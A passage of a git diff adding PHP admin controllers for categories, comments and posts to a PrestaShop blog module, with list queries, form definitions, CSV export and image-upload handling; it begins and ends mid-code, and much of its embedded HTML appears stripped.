_DB_PREFIX_ . 'blog_category_relation cr + LEFT JOIN `' . _DB_PREFIX_ . 'lang` l ON (cr.`key` = "lang" AND l.`id_lang`= cr.`value`) + WHERE cr.id_blog_category = a.id_blog_category) as `iso_code`,'; + } + + $this->_select .= ' COUNT(pr.id_blog_post) as `nbposts`, (SELECT bcl.name FROM ' . _DB_PREFIX_ . 'blog_category bc + LEFT JOIN `' . _DB_PREFIX_ . 'blog_category_lang` bcl ON (bcl.`id_blog_category`= bc.`id_blog_category`) + WHERE bc.id_blog_category = a.id_blog_category_parent AND bcl.`id_lang` = b.`id_lang`) as `parent_category` '; + + $this->_join .= ' LEFT JOIN `' . _DB_PREFIX_ . 'blog_post_relation` pr ON (pr.`key` = "category" AND pr.`value` = a.id_blog_category)'; + $this->_group .= ' GROUP BY a.id_blog_category '; + + $this->fields_list['name'] = array('title' => $this->l('Category name'), 'width' => 400, 'filter_key' => 'a!name'); + $this->fields_list['parent_category'] = array('title' => $this->l('Parent'), 'width' => 200, 'search' => false); + if ($nb_lang > 1) { + $this->fields_list['iso_code'] = array('title' => $this->l('Language'), 'width' => 20, 'search' => false); + } + $this->fields_list['position'] = array('title' => $this->l('Position'), 'width' => 10, 'search' => false); + $this->fields_list['nbposts'] = array('title' => $this->l('Posts'), 'width' => 10, 'search' => false); + + BlogShop::addBlogAssoTables(); + + parent::__construct(); + } + + public function renderForm() { + + $this->toolbar_btn['save-and-stay'] = array('href' => '#', 'desc' => $this->l('Save and stay')); + + $this->initToolbar(); + if (!$this->loadObject(true)) + return; + + $this->addJS(array(_MODULE_DIR_ . $this->module->name . '/js/psblog.js')); + + $lang_list = Language::getLanguages(true); + //$id_lang_customer = Context::getContext()->language->id; customer acount lang + + $customer_groups = Group::getGroups(Context::getContext()->language->id); + $category_groups = array(); + if (!$this->object->id) { + foreach ($customer_groups as $group) + $category_groups[] = $group['id_group']; + } else { + $category_groups = BlogCategoryRelation::getRelation($this->object->id, 'group'); + } + + if (isset($_POST) && !empty($_POST)) { + $this->object->groupBox = Tools::getValue('groupBox'); + } else { + $this->object->groupBox = $category_groups; + } + + $except_id = ($this->object->id) ? $this->object->id : null; + $parents = BlogCategory::getParents($this->default_form_language, $except_id); + $parents[] = array('name' => '   ---------------   ', 'id' => '0'); + + if (count($lang_list) > 1) { + + if (isset($_POST) && !empty($_POST)) { + $this->object->groupLang = Tools::getValue('groupLang'); + } else { + $this->object->groupLang = BlogCategoryRelation::getRelation($this->object->id, 'lang'); + ; + } + + $langInput = array( + 'type' => 'blog_checkbox', + 'label' => $this->l('Language:'), + 'name' => 'groupLang', + 'id' => 'id', + 'values' => array( + 'query' => $lang_list, + 'id' => 'id_lang', + 'name' => 'name' + )); + } else { + $this->object->groupLang = Tools::getValue('groupLang', $lang_list[0]['id_lang']); + $langInput = array('type' => 'hidden', 'name' => 'groupLang',); + } + + $parentCategoryField = null; + if (is_null($this->object->id) || (int) $this->object->id > 2) { + + $parentCategoryField = array( + 'type' => 'select', + 'label' => $this->l('Parent category :'), + 'name' => 'id_blog_category_parent', + 'options' => array( + 'query' => $parents, + 'id' => 'id', + 'name' => 'name'), + ); + } + + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Category'), + 'image' => '../img/admin/tab-categories.gif' + ), + 'input' => array( + $langInput, + array( + 'type' => 'text', + 'label' => $this->l('Name :'), + 'name' => 'name', + 'size' => 50, + 'lang' => true, + 'required' => true, + 'class' => 'copy2friendlyBlogUrl' + ), + $parentCategoryField + , + array( + 'type' => 'textarea', + 'label' => $this->l('Description :'), + 'name' => 'description', + 'lang' => true, + 'autoload_rte' => true, + 'rows' => 10, + 'cols' => 100, + 'desc' => $this->l('Will be displayed in top of blog category page') + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Meta description :'), + 'rows' => 2, + 'lang' => true, + 'cols' => 80, + 'name' => 'meta_description', + 'desc' => $this->l('Search engines meta description') + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta keywords :'), + 'size' => 50, + 'lang' => true, + 'name' => 'meta_keywords', + 'desc' => $this->l('Separate keywords by ,') + ), + array( + 'type' => 'text', + 'label' => $this->l('Friendly URL :'), + 'size' => 50, + 'lang' => true, + 'name' => 'link_rewrite', + 'desc' => $this->l('Only letters and the minus (-) character are allowed') + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + if (is_null($this->object->id) || (int) $this->object->id > 2) { + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Position :'), + 'size' => 3, + 'name' => 'position' + ); + } + + $this->fields_form['input'][] = array( + 'type' => 'radio', + 'label' => $this->l('Active :'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ); + + $this->fields_form['input'][] = array( + 'type' => 'blog_checkbox', + 'label' => $this->l('Group access:'), + 'name' => 'groupBox', + 'id' => 'id', + 'values' => array( + 'query' => Group::getGroups(Context::getContext()->language->id), + 'id' => 'id_group', + 'name' => 'name' + )); + + if (Shop::isFeatureActive()) { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association :'), + 'name' => 'checkBoxShopAsso', + ); + } + + return parent::renderForm(); + } + + public function processSave() { + $object = parent::processSave(); + + if ($object) { + + if ($object->id == 1 && $object->link_rewrite != 'blog') { + Psblog::generateRewriteRules(); + } + + if (empty($this->errors)) { + + $groupLang = (array) Tools::getValue('groupLang'); + BlogCategoryRelation::cleanRelation($object->id, 'lang'); + if (sizeof($groupLang) > 0) + BlogCategoryRelation::saveRelation($object->id, 'lang', $groupLang); + + $groupBox = (array) Tools::getValue('groupBox'); + BlogCategoryRelation::cleanRelation($object->id, 'group'); + if (sizeof($groupBox) > 0) + BlogCategoryRelation::saveRelation($object->id, 'group', $groupBox); + } + + BlogShop::generateSitemap(); + } + + return $object; + } + + public function processExport() + { + if($this->_select != '') + $this->_select .= ','; + + $this->_select .= '(SELECT GROUP_CONCAT(pr2.value) FROM ' . _DB_PREFIX_ . 'blog_category_relation pr2 + WHERE pr2.id_blog_category = a.id_blog_category AND pr2.`key` = "group" ) as `group` '; + + $this->_select .= ' ,(SELECT GROUP_CONCAT(ps.id_shop) FROM ' . _DB_PREFIX_ . 'blog_category_shop ps + WHERE ps.id_blog_category = a.id_blog_category) as shop '; + + $this->fields_list['description'] = array('title' => $this->l('Description')); + $this->fields_list['group'] = array('title' => $this->l('Group')); + $this->fields_list['shop'] = array('title' => $this->l('Shop')); + $this->fields_list['link_rewrite'] = array('title' => $this->l('Url')); + $this->fields_list['meta_keywords'] = array('title' => $this->l('Meta keywords')); + $this->fields_list['meta_description'] = array('title' => $this->l('Meta description')); + + // clean buffer + if (ob_get_level() && ob_get_length() > 0) + ob_clean(); + $this->getList($this->context->language->id); + if (!count($this->_list)) + return; + + header('Content-type: text/csv'); + header('Content-Type: application/force-download; charset=UTF-8'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$this->table.'_'.date('Y-m-d_His').'.csv"'); + + $headers = array(); + foreach ($this->fields_list as $datas) + $headers[] = Tools::htmlentitiesDecodeUTF8($datas['title']); + $content = array(); + foreach ($this->_list as $i => $row) + { + $content[$i] = array(); + $path_to_image = false; + foreach ($this->fields_list as $key => $params) + { + $field_value = isset($row[$key]) ? Tools::htmlentitiesDecodeUTF8($row[$key]) : ''; + if ($key == 'image') + { + if ($params['image'] != 'p' || Configuration::get('PS_LEGACY_IMAGES')) + $path_to_image = Tools::getShopDomain(true)._PS_IMG_.$params['image'].'/'.$row['id_'.$this->table].(isset($row['id_image']) ? '-'.(int)$row['id_image'] : '').'.'.$this->imageType; + else + $path_to_image = Tools::getShopDomain(true)._PS_IMG_.$params['image'].'/'.Image::getImgFolderStatic($row['id_image']).(int)$row['id_image'].'.'.$this->imageType; + if ($path_to_image) + $field_value = $path_to_image; + } + $field_value = str_replace(array("\r","\n",";"),"",$field_value); + $content[$i][] = $field_value; + } + } + + $this->context->smarty->assign(array( + 'export_precontent' => "\xEF\xBB\xBF", + 'export_headers' => $headers, + 'export_content' => $content + ) + ); + + $this->layout = 'layout-export.tpl'; + } + +} + +?> diff --git a/modules/psblog/controllers/admin/AdminBlogCommentsController.php b/modules/psblog/controllers/admin/AdminBlogCommentsController.php new file mode 100755 index 0000000..40ba7d1 --- /dev/null +++ b/modules/psblog/controllers/admin/AdminBlogCommentsController.php @@ -0,0 +1,220 @@ +table = 'blog_comment'; + $this->className = 'BlogComment'; + + $this->module = 'psblog'; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->allow_export = true; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->_select .= ' SUBSTRING(p.`title`,1,40) AS `post_title`, l.`iso_code`, s.`name` AS `shop_name`, a.`active` as `status` '; + $this->_join .= ' LEFT JOIN ' . _DB_PREFIX_ . 'blog_post_lang p on (p.id_blog_post = a.id_blog_post AND p.id_lang = a.id_lang) '; + $this->_join .= ' LEFT JOIN ' . _DB_PREFIX_ . 'lang l on l.id_lang = a.id_lang '; + $this->_join .= ' LEFT JOIN ' . _DB_PREFIX_ . 'shop s on s.id_shop = a.id_shop '; + + $this->_orderBy = 'id_blog_comment'; + $this->_orderWay = 'DESC'; + + $statusIcon = array(); + $statusIcon[] = ''; + $statusIcon[1] = array('src' => '../admin/warning.gif', 'alt' => 'New'); + $statusIcon[2] = array('src' => '../admin/enabled.gif', 'alt' => ''); + $statusIcon[3] = array('src' => '../admin/disabled.gif', 'alt' => ''); + + $status = array(); + $status[1] = $this->l('Waiting'); + $status[2] = $this->l('Approved'); + $status[3] = $this->l('Disapproved'); + + $this->fields_list = array('id_blog_comment' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 30), + 'status' => array('title' => $this->l('Active'), 'type' => 'select', 'list' => $status ,'align' => 'center', 'filter_key' => 'a!active', 'icon' => $statusIcon, 'width' => 60), + 'post_title' => array('title' => $this->l('Post'), 'width' => 170), + 'shop_name' => array('title' => $this->l('Shop'), 'width' => 120, 'filter_key' => 's!shop_name'), + 'iso_code' => array('title' => $this->l('Lang'), 'width' => 20), + 'customer_name' => array('title' => $this->l('Customer'), 'width' => 70), + 'content' => array('title' => $this->l('Comment'), 'width' => 280, 'callback' => 'getDescriptionClean', 'orderby' => false), + 'date_add' => array('title' => $this->l('Date'), 'width' => 30)); + + parent::__construct(); + } + + public function renderForm() { + if (!($obj = $this->loadObject(true))) + return; + + $post = new BlogPost($obj->id_blog_post, $obj->id_lang); + $obj->post_title = $post->title; + + if (!is_null($obj->id_customer) && !empty($obj->id_customer)) { + $tokenCustomer = Tools::getAdminToken('AdminCustomers' . (int) (Tab::getIdFromClassName('AdminCustomers')) . (int) $this->context->employee->id); + $linkCustomer = '?tab=AdminCustomers&id_customer=' . $obj->id_customer . '&viewcustomer&token=' . $tokenCustomer; + + $obj->customer_name_label = '' . $obj->customer_name . ''; + } else { + + $obj->customer_name_label = $obj->customer_name; + } + + $iso = $this->context->language->getIsoById($obj->id_lang); + $obj->iso_code = ($iso) ? $iso : ' '; + + $shop = $this->context->shop->getShop($obj->id_shop); + $obj->shop_name = ($shop) ? $shop['name'] : ' '; + + $this->fields_form = array( + 'legend' => array('title' => ' ' . $this->l('Comment')), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + $this->fields_form['input'][] = array( + 'type' => 'text_label', + 'label' => $this->l('Date :'), + 'name' => 'date_add'); + + $this->fields_form['input'][] = array( + 'type' => 'text_label', + 'label' => $this->l('Post title :'), + 'name' => 'post_title'); + + $this->fields_form['input'][] = array( + 'type' => 'text_label', + 'label' => $this->l('Customer :'), + 'name' => 'customer_name_label'); + + $this->fields_form['input'][] = array( + 'type' => 'text_label', + 'label' => $this->l('Shop :'), + 'name' => 'shop_name'); + + $this->fields_form['input'][] = array( + 'type' => 'text_label', + 'label' => $this->l('Lang :'), + 'name' => 'iso_code'); + + $this->fields_form['input'][] = array('type' => 'hidden', 'name' => 'customer_name'); + $this->fields_form['input'][] = array('type' => 'hidden', 'name' => 'id_blog_post'); + + $this->fields_form['input'][] = array( + 'type' => 'textarea', + 'label' => $this->l('Message :'), + 'rows' => 4, + 'cols' => 92, + 'id' => 'comment_content', + 'name' => 'content'); + + + $status = array(); + $status[] = array('name' => $this->l('Waiting'),'id' => 1); + $status[] = array('name' => $this->l('Approved'),'id' => 2); + $status[] = array('name' => $this->l('Disapproved'),'id' => 3); + + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Active :'), + 'name' => 'active', + 'required' => false, + 'options' => array( + 'query' => $status, + 'id' => 'id', + 'name' => 'name') + ); + + $this->tpl_form_vars = array('comment' => $obj); + + return parent::renderForm(); + } + + public static function getDescriptionClean($description) + { + $description = strip_tags(stripslashes($description)); + $description = str_replace(array("\r","\n",";"),"",$description); + + return $description; + } + + public function processExport() + { + $this->fields_list['content'] = array('title' => $this->l('Comment')); + $this->fields_list['id_blog_post'] = array('title' => $this->l('Post ID')); + $this->fields_list['id_shop'] = array('title' => $this->l('Shop ID')); + $this->fields_list['id_lang'] = array('title' => $this->l('Lang ID')); + $this->fields_list['id_customer'] = array('title' => $this->l('Customer ID')); + + + // clean buffer + if (ob_get_level() && ob_get_length() > 0) + ob_clean(); + $this->getList($this->context->language->id); + if (!count($this->_list)) + return; + + header('Content-type: text/csv'); + header('Content-Type: application/force-download; charset=UTF-8'); + header('Cache-Control: no-store, no-cache'); + header('Content-disposition: attachment; filename="'.$this->table.'_'.date('Y-m-d_His').'.csv"'); + + $headers = array(); + foreach ($this->fields_list as $datas) + $headers[] = Tools::htmlentitiesDecodeUTF8($datas['title']); + $content = array(); + foreach ($this->_list as $i => $row) + { + $content[$i] = array(); + $path_to_image = false; + foreach ($this->fields_list as $key => $params) + { + $field_value = isset($row[$key]) ? Tools::htmlentitiesDecodeUTF8($row[$key]) : ''; + if ($key == 'image') + { + if ($params['image'] != 'p' || Configuration::get('PS_LEGACY_IMAGES')) + $path_to_image = Tools::getShopDomain(true)._PS_IMG_.$params['image'].'/'.$row['id_'.$this->table].(isset($row['id_image']) ? '-'.(int)$row['id_image'] : '').'.'.$this->imageType; + else + $path_to_image = Tools::getShopDomain(true)._PS_IMG_.$params['image'].'/'.Image::getImgFolderStatic($row['id_image']).(int)$row['id_image'].'.'.$this->imageType; + if ($path_to_image) + $field_value = $path_to_image; + } + $field_value = str_replace(array("\r","\n",";"),"",$field_value); + $content[$i][] = $field_value; + } + } + + $this->context->smarty->assign(array( + 'export_precontent' => "\xEF\xBB\xBF", + 'export_headers' => $headers, + 'export_content' => $content + ) + ); + + $this->layout = 'layout-export.tpl'; + } + + public function initToolbar() { + parent::initToolbar(); + unset($this->toolbar_btn['new']); + } + +} + diff --git a/modules/psblog/controllers/admin/AdminBlogConfController.php b/modules/psblog/controllers/admin/AdminBlogConfController.php new file mode 100755 index 0000000..83b79a9 --- /dev/null +++ b/modules/psblog/controllers/admin/AdminBlogConfController.php @@ -0,0 +1,17 @@ +table = 'blog_post'; + $this->className = 'BlogPost'; + + $this->edit = true; + $this->view = false; + $this->delete = true; + $this->allow_export = true; + + if (Tools::getIsset('id_' . $this->table) || Tools::getIsset('add' . $this->table)) { + $this->multishop_context = Shop::CONTEXT_ALL; + } + + $this->module = 'psblog'; + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items ?'))); + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_orderBy = 'id_blog_post'; + $this->_orderWay = 'DESC'; + + $this->fields_list = array( + 'id_blog_post' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 30), + 'status' => array('title' => $this->l('Status'), 'align' => 'center', 'icon' => array('published' => 'enabled.gif', 'drafted' => 'warning.gif', 'suspended' => 'forbbiden.gif', 'default' => 'unknown.gif'), 'orderby' => false, 'search' => false, 'width' => 60)); + + $nb_lang = count(Language::getLanguages(true)); + + if ($nb_lang > 1) { + + $this->_select .= ' (SELECT GROUP_CONCAT(l.iso_code) FROM ' . _DB_PREFIX_ . 'blog_post_relation pr + LEFT JOIN `' . _DB_PREFIX_ . 'lang` l ON (pr.`key` = "lang" AND l.`id_lang`= pr.`value`) + WHERE pr.id_blog_post = a.id_blog_post) as iso_code '; + } + + $this->fields_list['title'] = array('title' => $this->l('Title'), 'width' => 400, 'filter_key' => 'a!title'); + + if ($nb_lang > 1) { + $this->fields_list['iso_code'] = array('title' => $this->l('Lang'), 'width' => 20, 'search' => false); + } + + if (Psblog::getConfValue('comment_active')) { + + if ($nb_lang > 1) + $this->_select .= ','; + + $this->_select .= ' COUNT(pc.id_blog_comment) as nbcomments'; + $this->_join .= ' LEFT JOIN `' . _DB_PREFIX_ . 'blog_comment` pc ON (pc.id_blog_post = a.id_blog_post AND pc.active = 2)'; + $this->_group .= ' GROUP BY a.id_blog_post '; + $this->fields_list['nbcomments'] = array('title' => $this->l('Comments'), 'width' => 10, 'search' => false); + } + + $this->fields_list['date_on'] = array('title' => $this->l('Publication date'), 'width' => 120, 'type' => 'date', 'search' => false); + + $this->conf = Psblog::getPreferences(); + + BlogShop::addBlogAssoTables(); + + parent::__construct(); + } + + public function setMedia() { + parent::setMedia(); + } + + public function renderList() { + + $l = array('comments_waiting' => $this->l('Comments awaiting moderation'), + 'published_articles' => $this->l('Published posts'), + 'number_of_articles' => $this->l('Number of posts'), + 'configuration' => $this->l('Module configuration') + ); + + $comments_active = $this->conf['comment_active']; + $comment_nb_wait = BlogComment::getByStatus(1,true); + $post_nb = BlogPost::listPosts(false, false, null, null, true, null, null, null, null, null); + $post_nb_active = BlogPost::listPosts(false, true, null, null, true, null, null, null, null, null); + $blog_conf_link = Psblog::getBlogConfigurationLink(); + $blog_comments_link = BlogComment::getAdminCommentsLink(); + + $this->tpl_list_vars = array( + 'l' => $l, + 'comments_active' => $comments_active, + 'nb_comments' => $comment_nb_wait, + 'post_nb' => $post_nb, + 'post_nb_active' => $post_nb_active, + 'blog_conf_link' => $blog_conf_link, + 'blog_comments_link' => $blog_comments_link + + ); + + return parent::renderList(); + } + + public function renderForm() { + $form_output = ''; + + $defaultLanguage = $this->default_form_language; + + if (!$this->loadObject(true)) + return; + + $obj = $this->object; + + $id = 0; + if ($obj && isset($obj->id)) + $id = $obj->id; + elseif (Tools::getValue('id_blog_post')) + $id = Tools::getValue('id_blog_post'); + + $lang_value = $this->default_form_language; + $activeLanguages = Language::getLanguages(true); + + $form_output .= '
        + ' . ($obj->id ? '' : ''); + + $form_output .= '
         
        + +
        + + ' . $this->l('Content') . ''; + + if (count($activeLanguages) > 1) { + $lang_options = array(); + foreach ($activeLanguages as $l) + $lang_options[] = array('value' => $l['id_lang'], 'title' => $l['name']); + + $current_langs = Tools::getValue('groupLang', $obj->getLangs(true)); + $form_output .= HelperFieldForm::displayCheckboxField('groupLang', $lang_options, $current_langs, $this->l('Language :')); + } else { + $form_output .= HelperFieldForm::displayHiddenField('groupLang', $activeLanguages[0]['id_lang']); + } + + $form_output .= HelperFieldForm::displayTextLangField($activeLanguages, $defaultLanguage, 'title', $this->getFieldValue($obj, 'title'), 'text', $this->l('Title :'), NULL, array('required' => true, 'class' => 'copy2friendlyBlogUrl', 'id' => 'title_' . $lang_value)); + + $form_output .= HelperFieldForm::displayTextLangField($activeLanguages, $defaultLanguage, 'excerpt', $this->getFieldValue($obj, 'excerpt'), 'textarea', $this->l('Excerpt :'), $this->l('Article summary for lists'), array('rows' => 3)); + + $form_output .= HelperFieldForm::displayTextLangField($activeLanguages, $defaultLanguage, 'content', $this->getFieldValue($obj, 'content'), 'textarea', $this->l('Content :'), NULL, array('tinymce' => true)); + + $form_output .= '
         
        '; + + // MEDIAS + $form_output .= '
        + ' . $this->l('Medias') . ' + +
        + .jpg, .png, .gif +
        +
        +
        '; + + $relative = rtrim($this->conf['img_save_path'], '/') . "/"; + + $images = (Tools::getValue('id_blog_post') ? $obj->getImages() : array()); + if (count($images)) { + $form_output .= ' + + + + + + '; + $irow = 0; + foreach ($images as $val) { + $filename = $val['img_name']; + //if (file_exists(_PS_ROOT_DIR_ . "/" . $relative . $filename)) { + $form_output .= ' + + + + + '; + //} + } + $form_output .= "
        ' . $this->l('Image') . '' . $this->l('Default') . '' . $this->l('Position') . '' . $this->l('Delete') . '
        ' . $filename . ' + ' . $this->l('Delete') . '
        "; + } + $form_output .= '
        '; + $form_output .= '
        '; + $form_output .= '
         
        '; + + $form_output .= ''; + + if (isset($this->conf['category_active']) && $this->conf['category_active'] == 1) { + // CATEGORIES + $form_output .= '
        ' . $this->l('Categories') . ''; + $form_output .= '
        '; + + $post_categories = Tools::getValue('groupBox', $obj->listCategories($defaultLanguage, false, false, true)); + + $categories = BlogCategory::listCategories(false, false, true, false, 1); + + if (is_array($categories) && count($categories)) { + $form_output .= ' + + + + + + + '; + $irow = 0; + foreach ($categories as $cat) { + $class = ($irow++ % 2 ? 'alt_row' : ''); + + $form_output .= ' + + + + + '; + + if (isset($cat['subcategories']) && is_array($cat['subcategories'])) { + foreach ($cat['subcategories'] as $sub) { + $form_output .= ' + + + + + + '; + } + } + } + $form_output .= ' +
        ' . $this->l('ID') . '' . $this->l('Category name') . '' . $this->l('Lang') . '
        ' . $cat['id_blog_category'] . '' . $cat['iso_code'] . '
        ' . $sub['id_blog_category'] . '-' . $sub['iso_code'] . '
        +

        ' . $this->l('Mark all checkbox(es) of categories to which the post is to be in') . '

        '; + } else + $form_output .= '

        ' . $this->l('No category created') . '

        '; + + $form_output .= '
        '; + $form_output .= '
         
        '; + } + + if (isset($this->conf['product_active']) && $this->conf['product_active'] == 1) { + // PRODUCTS + $form_output .= '
        + ' . $this->l('Related products') . ''; + + $accessories = array(); + $productArray = array(); + if (isset($_POST['id_blog_post'])) { + $productArray = explode('-', Tools::getValue('inputAccessories'), -1); + } elseif ($id) { + $productArray = $obj->getProducts(true, false, true); + } + + $i = 0; + foreach ($productArray as $id_product) { + $product = new Product($id_product, false, $lang_value); + $accessories[$i]['id_product'] = $product->id; + $accessories[$i]['name'] = $product->name; + $accessories[$i]['reference'] = $product->reference; + $i++; + } + + $form_output .= '
        '; + foreach ($accessories as $accessory) + $form_output .= $accessory['name'] . (!empty($accessory['reference']) ? ' (' . $accessory['reference'] . ')' : '') . ' Delete
        '; + $form_output .= '
        '; + + $form_output .= '
        + + + '; + + $form_output .= '
        +

        ' . $this->l('Begin typing the first letters of the product name, then select the product from the drop-down list:') . '

        + + ' . $this->l('Add a product') . ' + conf['related_active']) && $this->conf['related_active'] == 1) { + + // RELATED ARTICLES + $form_output .= '
        + ' . $this->l('Related posts') . ''; + + $blog_related = Tools::getValue('groupRelated', $obj->getRelatedPosts(false, false, true)); + $articles = BlogPost::listPosts(false, false, null, null, false, null, null, $obj->id); + + $form_output .= ' +
        '; + + if (count($articles)) { + + $form_output .= ' + + + + + + '; + + $irow = 0; + foreach ($articles as $post) { + + if ($post['id_blog_post'] == $obj->id) + continue; + + $form_output .= ' + + + + + '; + } + + $form_output .= '
        ' . $this->l('ID') . '' . $this->l('Title') . '' . $this->l('Lang') . '
        ' . $post['id_blog_post'] . '' . $post['iso_code'] . '
        '; + $form_output .= '

        ' . $this->l('Related posts') . '

         
        '; + }else { + $form_output .= '

        ' . $this->l('No posts created') . '

        '; + } + + $form_output .= '
         
        '; + } + + $form_output .= '
        ' . $this->l('SEO - Post metas') . ''; + + $form_output .= HelperFieldForm::displayTextLangField($activeLanguages, $defaultLanguage, 'link_rewrite', $this->getFieldValue($obj, 'link_rewrite'), 'text', $this->l('Friendly URL :'), $this->l('Only letters and the minus (-) character are allowed'), array('id' => 'link_rewrite_' . $lang_value)); + + $form_output .= HelperFieldForm::displayTextLangField($activeLanguages, $defaultLanguage, 'meta_description', $this->getFieldValue($obj, 'meta_description'), 'textarea', $this->l('META description :'), $this->l('Search engines meta description'), array('rows' => 2)); + + $form_output .= HelperFieldForm::displayTextLangField($activeLanguages, $defaultLanguage, 'meta_keywords', $this->getFieldValue($obj, 'meta_keywords'), 'text', $this->l('META keywords :'), $this->l('Separate keywords by ,')); + + $form_output .= '
         
        '; + + $form_output .= '
        ' . $this->l('Publication options') . ''; + + $status_options = array(array('value' => 'published', 'title' => $this->l('Published')), + array('value' => 'drafted', 'title' => $this->l('Drafted')), + array('value' => 'suspended', 'title' => $this->l('Suspended'))); + + $status_value = $this->getFieldValue($obj, 'status'); + + $form_output .= HelperFieldForm::displaySelectField('status', $status_options, $status_value, $this->l('Status :')); + + if (isset($this->conf['comment_active']) && $this->conf['comment_active'] == 1) { + + $comments_options = array(array('value' => '1', 'title' => $this->l('Enabled')), array('value' => '0', 'title' => $this->l('Disabled'))); + + $comments_value = (!$obj->id) ? 1 : $this->getFieldValue($obj, 'allow_comments'); + + $form_output .= HelperFieldForm::displayRadioField('allow_comments', $comments_options, $comments_value, $this->l('Allow comments :')); + } + + if (!$obj->id) { + $date_on = date('Y-m-d'); + } elseif ($obj->date_on == '0000-00-00') { + $date_on = ''; + } else { + $date_on = $obj->date_on; + } + + $form_output .= HelperFieldForm::displayDateField('date_on', Tools::getValue('date_on', $date_on), $this->l('Publication date :')); + + if (Shop::isFeatureActive()) { + $form_output .= ' +
        '; + $helperForm = new HelperForm(); + $helperForm->identifier = $this->identifier; + $helperForm->table = $this->table; + $helperForm->id = $obj->id; + $form_output .= $helperForm->renderAssoShop(); + $form_output .= '
        '; + } + + $form_output .= '
         
        '; + + $form_output .= '
        * ' . $this->l('Required field') . '
        + + + + + +
         
        '; + + $helper = new HelperCore(); + $helper->module = new Psblog(); + $template = $helper->createTemplate('form_blog_post.tpl'); + + $iso_code = $this->context->language->iso_code; + $iso = file_exists(_PS_ROOT_DIR_ . '/js/tiny_mce/langs/' . $iso_code . '.js') ? $iso_code : 'en'; + $iso_tiny_mce = (file_exists(_PS_JS_DIR_ . 'tiny_mce/langs/' . $iso_code . '.js') ? $iso_code : 'en'); + + $this->addjQueryPlugin(array('autocomplete', 'ajaxfileupload', 'date')); + + $this->addJS(array( + _MODULE_DIR_ . $this->module->name . '/js/psblog.js', + _MODULE_DIR_ . $this->module->name . '/js/jquery.MultiFile.pack.js', + _PS_JS_DIR_ . 'tiny_mce/tiny_mce.js', + _PS_JS_DIR_ . 'tinymce.inc.js', + _PS_JS_DIR_ . 'fileuploader.js')); + + $this->addJqueryUI(array('ui.core', 'ui.datepicker')); + + $this->toolbar_btn['save-and-stay'] = array('href' => '#', 'desc' => $this->l('Save and stay')); + + $title = array($this->l('Blog'), ($obj->id ? $this->l('Edit') : $this->l('Add new'))); + + $template->assign(array( + 'show_toolbar' => true, + 'path_css' => _THEME_CSS_DIR_, + 'toolbar_btn' => $this->toolbar_btn, + 'currentIndex' => self::$currentIndex, + 'toolbar_scroll' => true, + 'title' => $title, + 'ad' => dirname($_SERVER['PHP_SELF']), + 'form_content' => $form_output, + 'iso_tiny_mce' => $iso_tiny_mce, + 'iso' => $iso, + 'tinymce' => true, + 'vat_number' => file_exists(_PS_MODULE_DIR_ . 'vatnumber/ajax.php'), + 'languages' => $this->_languages, + 'id_lang_default' => $defaultLanguage, + 'defaultFormLanguage' => $defaultLanguage, + 'allowEmployeeFormLang' => $this->allow_employee_form_lang + )); + + $form_content = $template->fetch(); + + return $form_content; + } + + public function initProcess() { + parent::initProcess(); + if (Tools::isSubmit('deleteImg') && Tools::getValue('id_img')) { + $this->action = 'postimage'; + } + } + + public function processPostimage() { + + if (Tools::isSubmit('deleteImg') && Tools::getValue('id_img')) { + + $id = intval(Tools::getValue($this->identifier)); + if (!$id) + return false; + + $id_blog_image = Tools::getValue('id_img'); + $object = new $this->className($id); + $object->removeImage($id_blog_image); + + $this->redirect_after = self::$currentIndex . '&' . $this->identifier . '=' . $object->id . '&conf=7&update' . $this->table . '&token=' . $this->token; + } + } + + public function processSave() { + + $object = parent::processSave(); + + if ($object) { + + if (empty($this->errors)) { + + $save_path = rtrim($this->conf['img_save_path'], '/') . "/"; + + $groupList = Tools::getValue('groupBox'); + + BlogPostRelation::cleanRelation($object->id, 'category'); + if (is_array($groupList) AND sizeof($groupList) > 0) + BlogPostRelation::saveRelation($object->id, 'category', $groupList); + + BlogPostRelation::cleanRelation($object->id, 'product'); + if (Tools::getValue('inputAccessories')) { + $productArray = explode('-', Tools::getValue('inputAccessories'), -1); + BlogPostRelation::saveRelation($object->id, 'product', $productArray); + } + + $groupLang = (array) Tools::getValue('groupLang'); + BlogPostRelation::cleanRelation($object->id, 'lang'); + if (sizeof($groupLang) > 0) + BlogPostRelation::saveRelation($object->id, 'lang', $groupLang); + + $groupRelated = Tools::getValue('groupRelated'); + BlogPostRelation::cleanRelation($object->id, 'post'); + if (is_array($groupRelated) AND sizeof($groupRelated) > 0) + BlogPostRelation::saveRelation($object->id, 'post', $groupRelated); + + $images_position = Tools::getValue('img_pos'); + if (is_array($images_position) && count($images_position)) { + $object->setImagesPosition($images_position); + } + + if (isset($_FILES['blog_img']) && !empty($_FILES['blog_img']['tmp_name'][0])) { + + $j = 0; + foreach ($_FILES['blog_img']['name'] as $key => $val) { + + if (empty($val)) + continue; + + $id_img = null; + + try { + + $file['name'] = $val; + $file['type'] = $_FILES['blog_img']['type'][$key]; + $file['error'] = $_FILES['blog_img']['error'][$key]; + $file['size'] = $_FILES['blog_img']['size'][$key]; + $file['tmp_name'] = $_FILES['blog_img']['tmp_name'][$key]; + + //img name + $curr_time = 